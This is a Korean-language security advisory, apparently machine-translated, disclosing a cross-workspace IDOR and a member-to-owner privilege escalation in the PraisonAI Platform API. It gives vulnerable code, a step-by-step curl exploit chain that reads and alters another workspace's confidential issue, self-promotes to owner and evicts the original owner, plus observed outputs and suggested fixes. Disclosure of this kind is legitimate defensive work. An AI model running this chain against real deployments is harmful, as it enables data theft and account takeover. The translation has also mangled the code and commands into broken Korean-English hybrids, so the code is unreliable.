PraisonAI에는 플랫폼 API를 통해 작업 공간 간 IDOR 및 권한 에스컬레이션 기능이 있습니다.
PraisonAI Platform API에는 작업 공간 격리를 함께 깨뜨리는 두 가지 인증 실패가 있습니다. 이슈 및 프로젝트에 대한 서비스 계층은 작업 영역 소유권을 확인하지 않고 전역 기본 키 조회를 수행하므로 인증된 사용자는 API 요청에서 UUID를 교환하는 것만으로 모든 작업 영역에서 리소스를 읽고, 수정하고, 삭제할 수 있습니다. 게다가 모든 멤버 관리 엔드포인트(추가, 역할 업데이트, 제거)에는 min_role="member"만 필요합니다. 이를 통해 워크스페이스 멤버는 자신을 소유자로 승격시키고 원래 소유자를 쫓아낼 수 있습니다. 한 워크스페이스의 낮은 권한 구성원은 다른 모든 워크스페이스에서 데이터를 훔치고 자신이 속한 모든 워크스페이스를 장악할 수 있습니다.
두 문제 모두 동일한 차이에서 발생합니다. 경로 계층은 URL에서 'workspace_id'를 가져와 멤버십을 확인하지만 서비스 계층은 리소스 조회를 위한 작업공간 범위를 무시하고 구성원 작업에 대한 호출자의 역할 수준을 무시합니다. require_workspace_member() 종속성은 해당 작업을 올바르게 수행합니다. 문제는 서비스 계층이 자신이 제공하는 정보를 사용하지 않는다는 것입니다.
취약한 파일:
-praisonai_platform/services/issue_service.py
-praisonai_platform/services/project_service.py
-praisonai_platform/api/routes/issues.py
-praisonai_platform/api/routes/projects.py
경로 계층과 서비스 계층 간에는 일관된 분할이 있습니다. 경로는 URL에서 workspace_id를 가져와 멤버십을 확인합니다.
GET /api/v1/workspaces/{workspace_id}/issues/{issue_id}
^^^^^^^^^^^^^^^^
require_workspace_member()가 이를 확인합니다.
그러나 이러한 경로가 호출하는 서비스 메서드는 workspace_id를 완전히 무시하는 전역 조회를 수행합니다.
IssueService.get(), 72행:
``파이썬 async def get(self, issue_id: str) -> 선택사항[문제]: """ID로 발급받으세요.""" return self._session.get(Issue, issue_id)을 기다립니다.
**ProjectService.get(), 47행:**
``파이썬
async def get(self, project_id: str) -> 선택사항[프로젝트]:
"""ID로 프로젝트를 가져옵니다."""
return wait self._session.get(프로젝트, project_id)
둘 다 WHERE 작업 공간_id = ? 필터 없이 기본 키를 기준으로 전역 조회하는 session.get(Model, pk)를 사용합니다.
동일한 파일에 있는 적절하게 범위가 지정된 list_for_workspace() 메소드와 비교해 보세요.
IssueService.list_for_workspace(), 76행:
``파이썬 async def list_for_workspace(self, 작업 공간_id: str, ...) -> 목록[문제]: stmt = select(Issue).where(Issue.workspace_id == 작업 공간_id) # ... 범위가 적절하게 지정됨
목록의 범위가 올바르게 지정되었습니다. get, update 및 delete 메소드는 그렇지 않습니다. 두 서비스의 `update()` 및 `delete()`는 내부적으로 `self.get()`을 호출하므로 작업공간 우회는 모든 쓰기 작업에도 단계적으로 적용됩니다.
**workspace_id를 삭제하는 경로, issue.py 라인 82:**
``파이썬
@router.get("/{issue_id}", response_model=IssueResponse)
비동기 def get_issue(
작업 영역 ID: str, # URL에서 추출됨
Issue_id: str,
사용자: AuthIdentity = 종속(require_workspace_member), # 멤버십 확인됨
세션: AsyncSession = 종속(get_db),
):
svc = IssueService(세션)
issue = wait svc.get(issue_id) # 작업 공간 ID가 서비스에 전달되지 않았습니다.
영향을 받는 모든 작업:
| 서비스 | 방법 | 라인 | 작업공간 범위? |
|---|---|---|---|
| 이슈서비스 | get() | 72 | 아니요, session.get(Issue, issue_id)를 사용합니다 |
| 이슈서비스 | 업데이트() | 97 | 아니요, self.get(issue_id)를 호출합니다 |
| 이슈서비스 | 삭제() | 150 | 아니요, self.get(issue_id)를 호출합니다 |
| 이슈서비스 | list_for_workspace() | 76 | 예, workspace_id로 필터링 |
| 프로젝트 서비스 | get() | 47 | 아니요, session.get(Project, project_id)를 사용합니다 |
| 프로젝트 서비스 | 업데이트() | 62 | 아니요, self.get(project_id)를 호출합니다 |
| 프로젝트 서비스 | 삭제() | 88 | 아니요, self.get(project_id)를 호출합니다 |
| 프로젝트 서비스 | get_stats() | 97 | 아니요, project_id로만 필터링합니다 |
| 프로젝트 서비스 | list_for_workspace() | 51 | 예, workspace_id로 필터링 |
취약한 파일:
praisonai_platform/api/routes/workspaces.py (회원 관리 경로)praisonai_platform/api/deps.py(권한 종속성)praisonai_platform/services/member_service.py(역할 계층 구현)권한 부여 종속성은 역할 기반 액세스를 지원합니다.
require_workspace_member(), deps.py 라인 54:
``파이썬 비동기 def require_workspace_member( 작업공간_ID: str, 사용자: AuthIdentity = 종속(get_current_user), 세션: AsyncSession = 종속(get_db), min_role: str = "member", # 더 높은 역할을 허용하지만 아무도 그 역할을 전달하지 않습니다. ) -> 인증 ID: member_svc = MemberService(세션) has = member_svc.has_role(workspace_id, user.id, min_role)을 기다립니다. 그렇지 않은 경우: HTTPException 발생(status_code=403, ...)
`has_role()` 메소드는 역할 계층 구조를 올바르게 구현합니다.
**MemberService.has_role(), member_service.py 라인 80:**
``파이썬
async def has_role(self, 작업 공간_id, user_id, 필수_role) -> bool:
"""역할 계층: 소유자 > 관리자 > 구성원."""
멤버 = self.get(workspace_id, user_id)을 기다립니다.
멤버가 없음인 경우:
거짓을 반환
role_levels = {"소유자": 3, "관리자": 2, "회원": 1}
user_level = role_levels.get(member.role, 0)
필수_레벨 = role_levels.get(required_role, 0)
user_level >= 필수_레벨 반환
이는 올바르게 작동하지만 min_role="owner" 또는 min_role="admin"을 사용하여 require_workspace_member를 호출하는 경로가 없습니다. 모든 구성원 관리 경로는 기본 "member"를 사용합니다.
자기 홍보, 작업 공간.py 라인 115:
``파이썬 @router.patch("/{workspace_id}/members/{user_id}", response_model=MemberResponse) 비동기 def update_member_role( 작업공간_ID: str, user_id: 문자열, 본문: MemberUpdate, 사용자: AuthIdentity = 종속(require_workspace_member), # min_role="member" 세션: AsyncSession = 종속(get_db), ): member_svc = MemberService(세션) 멤버 = 기다리고 member_svc.update_role(workspace_id, user_id, body.role) # 확인하지 않음: 사용자가 자신의 역할을 수정하고 있습니까? (자기 홍보) # 확인하지 않음: body.role > 호출자의 현재 역할입니까? (에스컬레이션) # 확인하지 않음: 대상이 호출자보다 더 높은 역할을 갖고 있습니까? (상사 수정)
**소유자 제거, 작업 공간.py 행 130:**
``파이썬
@router.delete("/{workspace_id}/members/{user_id}", status_code=204)
비동기 def 제거_멤버(
작업공간_ID: str,
user_id: 문자열,
사용자: AuthIdentity = 종속(require_workspace_member), # min_role="member"
...
):
member_svc = MemberService(세션)
제거됨 = member_svc.remove(workspace_id, user_id)를 기다립니다.
# 확인하지 않음: 대상이 호출자보다 더 높은 역할을 갖고 있습니까?
# 확인하지 않음: 이것이 마지막 소유자입니까?
'update_member_role'에는 자체 수정, 상향 에스컬레이션, 상사 수정이라는 세 가지 확인 사항이 없습니다. remove_member에는 역할 계층 구조와 마지막 소유자 보호라는 두 가지 확인 사항이 누락되어 있습니다.
전제조건:
서버 설정:
``배쉬
cd /경로/to/PraisonAI
pip install -e "src/praisonai-플랫폼"
python -m uvicorn praisonai_platform.api.app:create_app
--factory --host 127.0.0.1 --port 8000
#### 시나리오: 전체 공격 체인(IDOR + 권한 상승)
**1단계: 피해자(CEO)가 민감한 데이터로 작업공간을 만듭니다**
``배쉬
BASE="http://127.0.0.1:8000/api/v1"
# CEO등록
피해자=$(curl -sfL -X POST "$BASE/auth/register" \
-H "콘텐츠 유형: 애플리케이션/json" \
-d '{"email":"ceo@targetcorp.com","password":"Secure123!","name":"CEO"}')
VICTIM_TOKEN=$(echo "$VICTIM" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
VICTIM_ID=$(echo "$VICTIM" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])")
# CEO는 기밀 문제로 작업 공간을 만듭니다
VICTIM_WS=$(curl -sfL -X POST "$BASE/workspaces/" \
-H "콘텐츠 유형: 애플리케이션/json" \
-H "권한: 전달자 $VICTIM_TOKEN" \
-d '{"이름":"경영진"}' \
| python3 -c "sys,json 가져오기; print(json.load(sys.stdin)['id'])")
ISSUE_ID=$(curl -sfL -X POST "$BASE/workspaces/$VICTIM_WS/issues/" \
-H "콘텐츠 유형: 애플리케이션/json" \
-H "권한: 전달자 $VICTIM_TOKEN" \
-d '{"title":"M&A 대상 목록","description":"CompanyX를 20억 달러에 인수합니다. 이사회가 승인했습니다. 공개하지 마십시오."}' \
| python3 -c "sys,json 가져오기; print(json.load(sys.stdin)['id'])")
echo "피해자 작업공간: $VICTIM_WS"
echo "비밀 문제: $ISSUE_ID"
2단계: 공격자가 자신의 작업 공간을 등록하고 생성합니다
``배쉬
공격자=$(curl -sfL -X POST "$BASE/auth/register"
-H "콘텐츠 유형: 애플리케이션/json"
-d '{"email":"attacker@evil.com","password":"Evil123!","name":"Attacker"}')
ATK_TOKEN=$(echo "$ATTACKER" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
ATK_ID=$(echo "$ATTACKER" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])")
ATK_WS=$(curl -sfL -X POST "$BASE/workspaces/"
-H "콘텐츠 유형: 애플리케이션/json"
-H "권한: 전달자 $ATK_TOKEN"
-d '{"name":"공격자 WS"}'
| python3 -c "sys,json 가져오기; print(json.load(sys.stdin)['id'])")
**3단계: IDOR - 공격자는 자신의 작업 공간을 통해 피해자의 기밀 문제를 읽습니다**
``배쉬
컬 -sfL "$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID" \
-H "승인: 전달자 $ATK_TOKEN"
관찰된 출력(HTTP 200):
``json { "id": "<문제_ID>", "workspace_id": "<VICTIM_WS>", "title": "M&A 대상 목록", "description": "CompanyX를 20억 달러에 인수합니다. 이사회가 승인했습니다. 공개하지 마십시오.", "상태": "백로그" }
응답에는 요청 URL의 작업공간과 다른 피해자의 `workspace_id`가 포함되어 있습니다. 요청 범위는 `$ATK_WS`로 지정되었지만 `$VICTIM_WS`에서 데이터를 반환했습니다.
**4단계: IDOR - 공격자가 피해자의 문제를 수정**
``배쉬
컬 -sfL -X 패치 "$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID" \
-H "콘텐츠 유형: 애플리케이션/json" \
-H "권한: 전달자 $ATK_TOKEN" \
-d '{"title":"조작됨 - M&A 대상 목록"}'
관찰된 출력(HTTP 200): 작업 공간 경계를 넘어 제목이 업데이트되었습니다.
5단계: 권한 상승 - CEO가 공격자를 구성원으로 추가(초대 시뮬레이션)
``배쉬
컬 -sfL -X POST "$BASE/workspaces/$VICTIM_WS/members/"
-H "콘텐츠 유형: 애플리케이션/json"
-H "권한: 전달자 $VICTIM_TOKEN"
-d "{"user_id":"$ATK_ID","role":"member"}" > /dev/null
**6단계: 권한 에스컬레이션 - 회원이 자신을 소유자로 승격**
``배쉬
PROMO=$(curl -sfL -X PATCH "$BASE/workspaces/$VICTIM_WS/members/$ATK_ID" \
-H "콘텐츠 유형: 애플리케이션/json" \
-H "권한: 전달자 $ATK_TOKEN" \
-d '{"역할":"소유자"}')
에코 "$PROMO" | python3 -c "import sys,json; d=json.load(sys.stdin); print(f'Role: {d[\"role\"]}')"
관찰된 결과:
역할: 소유자
회원은 자신의 회원 수준 토큰을 사용하여 자신을 소유자로 승격시켰습니다.
7단계: 권한 상승 - 공격자가 원래 소유자를 제거
``배쉬
컬 -sLo /dev/null -w "HTTP %{http_code}" -X DELETE
"$BASE/작업 공간/$VICTIM_WS/members/$VICTIM_ID"
-H "승인: 전달자 $ATK_TOKEN"
**관찰된 결과:** `HTTP 204` - CEO가 자신의 작업 공간에서 제거되었습니다.
**8단계: 확인 - 공격자가 단독 소유자임**
``배쉬
컬 -sfL "$BASE/workspaces/$VICTIM_WS/members/" \
-H "승인: 전달자 $ATK_TOKEN"
관찰된 결과:
``json [ { "workspace_id": "<VICTIM_WS>", "user_id": "<ATK_ID>", "역할": "소유자" } ]
CEO가 잠겨 있습니다. 공격자는 이제 "집행위원회"와 모든 데이터의 유일한 소유자입니다.
### 영향
- **완전한 멀티 테넌트 데이터 침해:** 인증된 사용자는 리소스 UUID를 대체하여 모든 작업 공간에서 모든 이슈와 프로젝트를 읽을 수 있습니다. URL 구조(`/workspaces/{workspace_id}/...`)는 테넌트 격리를 의미하지만 아무 것도 제공하지 않습니다.
- **작업 공간 간 데이터 변조:** 공격자는 작업 공간 경계를 넘어 문제 제목, 설명, 상태, 할당 및 프로젝트 필드를 수정할 수 있습니다.
- **교차 작업공간 데이터 삭제:** 공격자가 다른 작업공간에 속한 이슈와 프로젝트를 삭제할 수 있습니다.
- **멤버 역할에서 워크스페이스 인수:** 모든 멤버는 자체적으로 소유자로 승격되고 다른 모든 소유자를 제거하여 워크스페이스와 그 안에 있는 모든 것에 대한 단독 제어권을 얻을 수 있습니다.
- **복구 메커니즘 없음:** 인수 후 원래 소유자는 작업 공간에 액세스하거나 복구할 수 없습니다. 최고 관리자 역할, 감사 기반 롤백 및 마지막 소유자 보호가 없습니다.
- **체인 증폭 효과:** IDOR은 대상 작업 공간의 멤버십이 필요하지 않으며 모든 작업 공간의 멤버십만 필요합니다. 권한 상승은 해당 기반을 완전한 소유권으로 전환합니다. 단일 멤버 수준 초대를 통해 모든 워크스페이스에 초대된 사용자는 플랫폼 전체의 모든 데이터를 읽을 수 있으며 초대받은 모든 워크스페이스의 소유권을 가질 수 있습니다.
---
## 제안된 수정 사항
**1. 모든 서비스 가져오기/업데이트/삭제 방법의 범위를 작업 공간_ID**로 지정하세요.
``파이썬
# issue_service.py, 72행에서 get()을 교체합니다.
async def get(self, issue_id: str, 작업공간_id: str) -> 선택사항[Issue]:
"""작업 영역으로 범위가 지정된 ID별로 문제를 가져옵니다."""
이슈 = self._session.get(이슈, 이슈_ID)을 기다립니다.
이슈가 None 또는 issue.workspace_id != 작업 공간_id인 경우:
반환 없음
반품 문제
# update(), delete() 및 모든 ProjectService 메서드에 동일한 패턴을 적용합니다.
2. 작업 공간 ID를 경로에서 서비스로 전달
``파이썬 #issue.py, 82행에서 get_issue 수정: issue = wait svc.get(issue_id, 작업 공간_id) # 이제 작업 공간 범위
**3. 회원 관리를 위한 소유자 역할 요구 및 에스컬레이션 경비원 추가**
``파이썬
# 작업 공간.py, update_member_role 수정:
사용자: AuthIdentity = 종속됨(
람다 **kw: require_workspace_member(**kw, min_role="소유자")
)
# 자체 수정 및 마지막 소유자 가드를 추가합니다:
user_id == user.id인 경우:
raise HTTPException(403, "자신의 역할을 변경할 수 없습니다.")
# 제거_멤버 수정:
대상 = member_svc.get(workspace_id, user_id)을 기다립니다.
target 및 target.role == "소유자"인 경우:
소유자 = [m for m in wait member_svc.list_members(workspace_id) if m.role == "owner"]
len(소유자) <= 1인 경우:
raise HTTPException(403, "마지막 소유자를 제거할 수 없습니다.")
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 88.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 88.00 |
VPI 공식 vpi-v1 기준